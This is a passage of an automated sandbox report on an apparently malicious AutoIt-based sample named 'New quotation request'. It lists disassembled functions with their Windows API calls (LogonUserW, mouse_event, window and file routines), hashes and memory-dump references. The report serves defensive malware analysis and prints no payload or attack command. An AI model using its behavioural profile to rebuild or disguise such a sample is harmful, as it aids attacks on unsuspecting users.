                                                                    • Instruction ID: 2ad854581c62f698663a36b62aa31a19551c760a9f85d7e2a8d6db418fd93046
                                                                    • Opcode Fuzzy Hash: 50bae8e399822fe7cdc2f750ac920b66483313298984c57e87c8ca1ee72bbbbb
                                                                    • Instruction Fuzzy Hash: E3B09235454208AFCA022B91EC49B8A3F6CEB45BB2F804020F60D85060CB6254508A91
                                                                    Function 002DF1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4bb56866162204efcfa6835379a01b1fb9672ebc75b55a849ca833d2f57fa2cd
                                                                    • Instruction ID: e89910ffaa2cae736eb7c43cba25df076bc1d403f8d81cb363afcf0f08a0a186
                                                                    • Opcode Fuzzy Hash: 4bb56866162204efcfa6835379a01b1fb9672ebc75b55a849ca833d2f57fa2cd
                                                                    • Instruction Fuzzy Hash: 5632F125D39F414DD7639A34D932326A24CAFB73C4F15D737E81AB9AA6EF28D8834104
                                                                    Function 002E242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: f11f595070ad42e6913cc9706edb1e207a1cf6e222fbcc71f7c13d742ac579c0
                                                                    • Instruction ID: 09602bdf30d45eb30b1e2cd526145bef3a89c154ed070580ed83eb729808cbbc
                                                                    • Opcode Fuzzy Hash: f11f595070ad42e6913cc9706edb1e207a1cf6e222fbcc71f7c13d742ac579c0
                                                                    • Instruction Fuzzy Hash: F2B1E124E6AF414DD3239A398831336B65CAFBB2D5F91D71BFC2678E22FB2195834141
                                                                    Function 00314C27 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00314C4A
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: mouse_event
                                                                    • String ID:
                                                                    • API String ID: 2434400541-0
                                                                    • Opcode ID: ba1391d85a3487288b9f1a0e701d2d1aa970b6cb9cc2431eed910cd05204ef40
                                                                    • Instruction ID: bf3f8766dfe6861522a826e6ba3852aa31e0a038745eb73d96285a0742b4df44
                                                                    • Opcode Fuzzy Hash: ba1391d85a3487288b9f1a0e701d2d1aa970b6cb9cc2431eed910cd05204ef40
                                                                    • Instruction Fuzzy Hash: 6DD05EA116520938FC1E0720AE0FFFB010DE308792FD9814971028A0C1EC805CC05070
                                                                    Function 003087B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00308389), ref: 003087D1
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: LogonUser
                                                                    • String ID:
                                                                    • API String ID: 1244722697-0
                                                                    • Opcode ID: 9cbfea4c9d486d9b24c1f650519e7f9e684ed805390135369ffddd1643d6eddb
                                                                    • Instruction ID: 7e8cffc4314bf0208a5ba84b45077ce49b78128ed2aecf75a0599bd3b81df12d
                                                                    • Opcode Fuzzy Hash: 9cbfea4c9d486d9b24c1f650519e7f9e684ed805390135369ffddd1643d6eddb
                                                                    • Instruction Fuzzy Hash: 44D05E3226450EAFEF018EA8DC01EBE3B69EB04B01F808111FE15C50A1C775D835AB60
                                                                    Function 002DA124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetUnhandledExceptionFilter.KERNEL32(?), ref: 002DA12A
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ExceptionFilterUnhandled
                                                                    • String ID:
                                                                    • API String ID: 3192549508-0
                                                                    • Opcode ID: 03043a7410e53940a725b58533d84a20d40fb93638d3cd7ec20f3c1c6a6cfb03
                                                                    • Instruction ID: 1296c07643a400fc1a766fef6e994c21e0e39c9232b124cae55da57f41e4ad31
                                                                    • Opcode Fuzzy Hash: 03043a7410e53940a725b58533d84a20d40fb93638d3cd7ec20f3c1c6a6cfb03
                                                                    • Instruction Fuzzy Hash: 86A0123000010CAB8A011B41EC044457F5CD6012A0F404020F40C41021873254104580
                                                                    Function 002C8808 Relevance: .6, Instructions: 590COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 0525651c50c03d6151377e6da7ba1d025736814f6de58aac02680e035b2ce035
                                                                    • Instruction ID: b12b6a2fd16b7c57b23680118afe11a4ce03cfb393e53060b38469a58af43951
                                                                    • Opcode Fuzzy Hash: 0525651c50c03d6151377e6da7ba1d025736814f6de58aac02680e035b2ce035
                                                                    • Instruction Fuzzy Hash: 85224430624517CBDF2A8E28C4A4B7DB7A5FF01304F29C66ED9468B9D2DB709DA1CB41
                                                                    Function 002D21C5 Relevance: .3, Instructions: 345COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                                    • Instruction ID: 4e3e19bca9b13110ec72f11874b9b3ee3f6a45803d921c290c2fedf87be5dedf
                                                                    • Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                                    • Instruction Fuzzy Hash: 44C185322251934ADB6D4A39843453EFAA15EB27B131A075FD8B3DB6D4EF20CD39D620
                                                                    Function 002D25FA Relevance: .3, Instructions: 341COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                                    • Instruction ID: b249df14c53e36a423b5e3518c17bd6ffdb761fbbb86f0bb43498c5b5d4ee35f
                                                                    • Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                                    • Instruction Fuzzy Hash: D2C1863222519349DF2D4A39C43413EFAA15EA27B132A076FD4B2DB6D5EF10CD39D660
                                                                    Function 002D1978 Relevance: .3, Instructions: 323COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                                    • Instruction ID: 0e32be9daf88620cc8a5891c26c8758e048869feda8c7f539465a823ce6ae3fc
                                                                    • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                                    • Instruction Fuzzy Hash: 1EC1743222519319DF2D4A39C47413EBAA25EA2BB131A075FD4B3CBAD5EF20CD75D620
                                                                    Function 00327806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DeleteObject.GDI32(00000000), ref: 0032785B
                                                                    • DeleteObject.GDI32(00000000), ref: 0032786D
                                                                    • DestroyWindow.USER32 ref: 0032787B
                                                                    • GetDesktopWindow.USER32 ref: 00327895
                                                                    • GetWindowRect.USER32(00000000), ref: 0032789C
                                                                    • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 003279DD
                                                                    • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 003279ED
                                                                    • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00327A35
                                                                    • GetClientRect.USER32(00000000,?), ref: 00327A41
                                                                    • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00327A7B
                                                                    • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00327A9D
                                                                    • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00327AB0
                                                                    • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00327ABB
                                                                    • GlobalLock.KERNEL32(00000000), ref: 00327AC4
                                                                    • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00327AD3
                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 00327ADC
                                                                    • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00327AE3
                                                                    • GlobalFree.KERNEL32(00000000), ref: 00327AEE
                                                                    • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00327B00
                                                                    • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00342CAC,00000000), ref: 00327B16
                                                                    • GlobalFree.KERNEL32(00000000), ref: 00327B26
                                                                    • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00327B4C
                                                                    • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00327B6B
                                                                    • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00327B8D
                                                                    • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00327D7A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                                    • String ID: $AutoIt v3$DISPLAY$static
                                                                    • API String ID: 2211948467-2373415609
                                                                    • Opcode ID: 3b32a5759970379beabfc474944fd2823228e4d7d6602dda67b303bb04e19434
                                                                    • Instruction ID: 4820b5e45e2f02cb4e78e213bf59d4baa87a001b83449700074cfff72dbb558d
                                                                    • Opcode Fuzzy Hash: 3b32a5759970379beabfc474944fd2823228e4d7d6602dda67b303bb04e19434
                                                                    • Instruction Fuzzy Hash: 71026A71910215EFDB16DFA8EC89EAE7BB9FF48310F508158F915AB2A1C770AD41CB60
                                                                    Function 0033356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharUpperBuffW.USER32(?,?,0033F910), ref: 00333627
                                                                    • IsWindowVisible.USER32(?), ref: 0033364B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharUpperVisibleWindow
                                                                    • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                                    • API String ID: 4105515805-45149045
                                                                    • Opcode ID: efa7dcb01bb4eca1b386934548603f4a78d686e221f73efe355a0939f63f7285
                                                                    • Instruction ID: c7abc9458f43a0caf0e2a7854b274f7f1c2d5efb9b792ac4a8e194dfc76b4705
                                                                    • Opcode Fuzzy Hash: efa7dcb01bb4eca1b386934548603f4a78d686e221f73efe355a0939f63f7285
                                                                    • Instruction Fuzzy Hash: D0D1A1342183019FCB06EF10C4D2BAE77A9AF95394F058459F9825B7E2CB31EE5ACB41
                                                                    Function 0033A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetTextColor.GDI32(?,00000000), ref: 0033A630
                                                                    • GetSysColorBrush.USER32(0000000F), ref: 0033A661
                                                                    • GetSysColor.USER32(0000000F), ref: 0033A66D
                                                                    • SetBkColor.GDI32(?,000000FF), ref: 0033A687
                                                                    • SelectObject.GDI32(?,00000000), ref: 0033A696
                                                                    • InflateRect.USER32(?,000000FF,000000FF), ref: 0033A6C1
                                                                    • GetSysColor.USER32(00000010), ref: 0033A6C9
                                                                    • CreateSolidBrush.GDI32(00000000), ref: 0033A6D0
                                                                    • FrameRect.USER32(?,?,00000000), ref: 0033A6DF
                                                                    • DeleteObject.GDI32(00000000), ref: 0033A6E6
                                                                    • InflateRect.USER32(?,000000FE,000000FE), ref: 0033A731
                                                                    • FillRect.USER32(?,?,00000000), ref: 0033A763
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 0033A78E
                                                                      • Part of subcall function 0033A8CA: GetSysColor.USER32(00000012), ref: 0033A903
                                                                      • Part of subcall function 0033A8CA: SetTextColor.GDI32(?,?), ref: 0033A907
                                                                      • Part of subcall function 0033A8CA: GetSysColorBrush.USER32(0000000F), ref: 0033A91D
                                                                      • Part of subcall function 0033A8CA: GetSysColor.USER32(0000000F), ref: 0033A928
                                                                      • Part of subcall function 0033A8CA: GetSysColor.USER32(00000011), ref: 0033A945
                                                                      • Part of subcall function 0033A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0033A953
                                                                      • Part of subcall function 0033A8CA: SelectObject.GDI32(?,00000000), ref: 0033A964
                                                                      • Part of subcall function 0033A8CA: SetBkColor.GDI32(?,00000000), ref: 0033A96D
                                                                      • Part of subcall function 0033A8CA: SelectObject.GDI32(?,?), ref: 0033A97A
                                                                      • Part of subcall function 0033A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 0033A999
                                                                      • Part of subcall function 0033A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0033A9B0
                                                                      • Part of subcall function 0033A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 0033A9C5
                                                                      • Part of subcall function 0033A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0033A9ED
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                                    • String ID:
                                                                    • API String ID: 3521893082-0
                                                                    • Opcode ID: 11435ee43f88981c0abbe8ebc3baea178e084f6f183438241e01299eb73cd492
                                                                    • Instruction ID: 16edd0fcd4ce6584c37255f21f87258863aef322227246ded3a0e2d73c1e0864
                                                                    • Opcode Fuzzy Hash: 11435ee43f88981c0abbe8ebc3baea178e084f6f183438241e01299eb73cd492
                                                                    • Instruction Fuzzy Hash: B2917B72808701FFD7129F64DC88A5BBBADFF89321F500B29F9A2961A0D771D944CB52
                                                                    Function 002B2C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DestroyWindow.USER32(?,?,?), ref: 002B2CA2
                                                                    • DeleteObject.GDI32(00000000), ref: 002B2CE8
                                                                    • DeleteObject.GDI32(00000000), ref: 002B2CF3
                                                                    • DestroyIcon.USER32(00000000,?,?,?), ref: 002B2CFE
                                                                    • DestroyWindow.USER32(00000000,?,?,?), ref: 002B2D09
                                                                    • SendMessageW.USER32(?,00001308,?,00000000), ref: 002EC43B
                                                                    • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 002EC474
                                                                    • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 002EC89D
                                                                      • Part of subcall function 002B1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,002B2036,?,00000000,?,?,?,?,002B16CB,00000000,?), ref: 002B1B9A
                                                                    • SendMessageW.USER32(?,00001053), ref: 002EC8DA
                                                                    • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 002EC8F1
                                                                    • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 002EC907
                                                                    • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 002EC912
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                                    • String ID: 0
                                                                    • API String ID: 464785882-4108050209
                                                                    • Opcode ID: c72178c61b0725262d65f6b98bd07c02c212a7885bb102876f280b15463ded5f
                                                                    • Instruction ID: e10b30bca5ad7525c034ebaec18eccea32d49e7866f922b659910cf8d9669599
                                                                    • Opcode Fuzzy Hash: c72178c61b0725262d65f6b98bd07c02c212a7885bb102876f280b15463ded5f
                                                                    • Instruction Fuzzy Hash: EA12BD30660242EFDB15CF25C884BA9BBE5FF45340FA4456AF895DB262C731E866CF90
                                                                    Function 003274AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DestroyWindow.USER32(00000000), ref: 003274DE
                                                                    • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0032759D
                                                                    • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 003275DB
                                                                    • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 003275ED
                                                                    • CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00327633
                                                                    • GetClientRect.USER32(00000000,?), ref: 0032763F
                                                                    • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00327683
                                                                    • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00327692
                                                                    • GetStockObject.GDI32(00000011), ref: 003276A2
                                                                    • SelectObject.GDI32(00000000,00000000), ref: 003276A6
                                                                    • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 003276B6
                                                                    • GetDeviceCaps.GDI32(00000000,0000005A), ref: 003276BF
                                                                    • DeleteDC.GDI32(00000000), ref: 003276C8
                                                                    • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 003276F4
                                                                    • SendMessageW.USER32(00000030,00000000,00000001), ref: 0032770B
                                                                    • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00327746
                                                                    • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0032775A
                                                                    • SendMessageW.USER32(00000404,00000001,00000000), ref: 0032776B
                                                                    • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0032779B
                                                                    • GetStockObject.GDI32(00000011), ref: 003277A6
                                                                    • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 003277B1
